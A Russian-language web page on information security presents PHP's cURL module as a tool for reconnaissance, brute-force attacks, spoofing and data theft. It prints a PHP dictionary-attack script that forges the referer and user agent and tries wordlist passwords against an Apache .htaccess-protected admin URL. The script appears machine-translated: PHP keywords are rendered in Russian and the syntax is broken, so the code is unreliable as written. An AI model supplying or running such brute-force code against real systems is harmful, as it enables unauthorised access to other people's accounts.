Практика
cURL ( Client URL_, библиотека, созданная Дэниелом Стенбергом, представляет собой инструмент, основанный преимущественно на командной строке, который можно использовать для принудительного ввода параметров в веб-запрос. Библиотека cURL была портирована на PHP как дополнительный модуль и может быть полезна при попытке получить разведывательную информацию или несанкционированный доступ к указанному URL.
PHP поддерживает libcurl, который в настоящее время поддерживает протоколы http, https, ftp, gopher, telnet, dict, file и ldap. libcurl также поддерживает сертификаты HTTPS, HTTP POST, HTTP PUT, загрузку по FTP (это также можно сделать с расширением ftp в PHP), загрузку на основе форм HTTP, прокси-серверы, файлы cookie и аутентификацию пользователя + пароль. cURL может использоваться в сочетании с PHP-сценариями для атак методом перебора (включая перебор таблицы SQL-инъекций), разведывательных атак, подмены и кражи данных.
Следующий скрипт cURL может быть использован для грубой принудительной аутентификации Apache .htaccess:
<? php $ ref = "http://www.example.com/index.php" ; // Установить реферер на обман $ denied = "Запрещено" ; // Устанавливаем вывод "Отклонено" $ wordlist = "/var/www/wordlist.txt" ; // Установить местоположение списка слов set_time_limit ( 0 ) ; // Установить лимит выполнения скрипта. 0 = без ограничений $ ch = curl_init ( ) ; // Инициализация cURL curl_setopt ( $ ch , CURLOPT_RETURNTRANSFER , 1 ) ; // Установить RETURNTRANSFER в TRUE curl_setopt ( $ ch , CURLOPT_FOLLOWLOCATION , 1 ) ; // Установить FOLLOWLOCATION в TRUE curl_setopt ( $ ch , CURLOPT_REFERER , $ ref ) ; // Установить для REFERER значение $ ref curl_setopt ( $ ch , CURLOPT_USERAGENT , «Mozilla / 4.0 (совместимо; MSIE 5.01; Windows NT 5.0)» ) ; // Spoof User Agent foreach ( файл ( $ wordlist ) как $ пароль ) // Запуск цикла для атаки по словарю { $ force = "http: // admin: {$ password} @ www.example.com / admin /" ; // Установить URL для атаки, curl_setopt ( $ ch , CURLOPT_URL , $ force ) ; // Загружаем URL для атаки с помощью cURL $ check = curl_exec ( $ ch ) ; // Установить параметры для проверки, если ( ! Strpos ( $ denied , $ check ) ) // Проверяем, нет ли $ denied на странице { die ( "Успешно! Пароль: {$ password} " ) ; // Если $ denied возвращает false, успех } } curl_close ( $ ch ) ; // Закрыть процесс cURL ?>
CURLOPT_FOLLOWLOCATION
CURLOPT_POST
CURLOPT_COOKIE
CURLOPT_COOKIEFILE
CURLOPT_COOKIEJAR
Комментарии
Оставить комментарий
информационная безопасность - Криптография и Криптоанализ. Стеганография. Защита Информации
Термины: информационная безопасность - Криптография и Криптоанализ. Стеганография. Защита Информации